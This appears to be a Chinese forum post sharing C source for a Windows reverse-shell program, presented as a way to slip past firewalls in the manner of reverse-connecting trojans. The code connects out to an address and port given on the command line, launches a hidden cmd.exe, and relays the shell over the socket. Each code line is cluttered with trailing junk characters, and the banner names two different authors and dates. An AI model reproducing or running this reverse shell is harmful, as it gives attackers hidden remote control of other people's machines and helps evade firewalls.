这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pJo4&Ff
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/* ============================== AGx(IK/_
Rebound port in Windows NT A~s6~
By wind,2006/7 sAK&^g
===============================*/ dJb7d`
#include l{kacfk#
#include i4SWFa``
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#pragma comment(lib,"wsock32.lib") mkgL/h*
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void OutputShell(); xi.QHKBZaH
SOCKET sClient; %u Dd#+{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~jWpD7px
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void main(int argc,char **argv) }$@K
{ e&mTaCLG
WSADATA stWsaData; @ L/i
int nRet; -H5-6w$
SOCKADDR_IN stSaiClient,stSaiServer; #TgP:t]p
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if(argc != 3) cvpZF5mL]U
{ Sx_j`Cgy
printf("Useage:\n\rRebound DestIP DestPort\n"); n@oSLo`k,`
return; ~(cqFf
} u b@'(*
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WSAStartup(MAKEWORD(2,2),&stWsaData); R^K:hKQ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X`]>J5
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stSaiClient.sin_family = AF_INET; wA87|YK8*
stSaiClient.sin_port = htons(0); K=P LOC5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ml_!)b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?J"Y4,{
{ `K2vG`c
printf("Bind Socket Failed!\n"); fKs3H?|
return; CZCVC (/u
} grDz7\i:
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stSaiServer.sin_family = AF_INET; /DSy/p0%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RS7J~Q
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Vl:M6d1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MR* %lZpB
{ (Q|Y*yI
printf("Connect Error!"); woU3WS0
return; hLyV'*}
} 8PGuZw<
OutputShell(); HDhG1B"NL
} EOGz;:b&
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void OutputShell() iz`ys.Fu
{ Wk/Il^YG
char szBuff[1024]; h*mKS -TC
SECURITY_ATTRIBUTES stSecurityAttributes; z9zo5Xc=
OSVERSIONINFO stOsversionInfo; lF$$~G
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3TKl
STARTUPINFO stStartupInfo; EmV ZqW
char *szShell; 9lX+?m~ ~
PROCESS_INFORMATION stProcessInformation; >>>MTV f
unsigned long lBytesRead; ,0n=*o@W
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cdfnM% `>\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mZ#IP
stSecurityAttributes.lpSecurityDescriptor = 0; J]&nZud`
stSecurityAttributes.bInheritHandle = TRUE; ^coj ETOv
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); []H0{a2{<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DJH,#re>
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /<IXCM.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l @r`NFWD@
stStartupInfo.wShowWindow = SW_HIDE; 9Cw !<
stStartupInfo.hStdInput = hReadPipe; bj+foNvu\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *18J$
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GetVersionEx(&stOsversionInfo); GF*E+/
;
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switch(stOsversionInfo.dwPlatformId) 7+J<N@.d
{ zXeBUbVi
case 1: MAG/7T5
szShell = "command.com"; Ns[.guWu-
break; {
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default: ; 5!8LmZ0#
szShell = "cmd.exe"; ;:ocU?
break; $/P\@|MqYQ
} NJ!}(=1|K
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vP/sG5$x
1);E!D[
send(sClient,szMsg,77,0); g_MxG!+(V
while(1) 2}#VB;B
{ `>{S?t<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yTU'voE.|
if(lBytesRead) $s5D/60nO
{ <D(|}5qR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~fly6j|u
send(sClient,szBuff,lBytesRead,0); ltmD=-]G_
} q62U+o9G
else ]+AgXUrbOD
{ 4{ exv
lBytesRead=recv(sClient,szBuff,1024,0); ; HjT
if(lBytesRead<=0) break; 2v1dSdX,W
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6NzS <
} #4?:4Im#
} U{-[lpd
c}#(,<8X
return; @-}!o&G0
}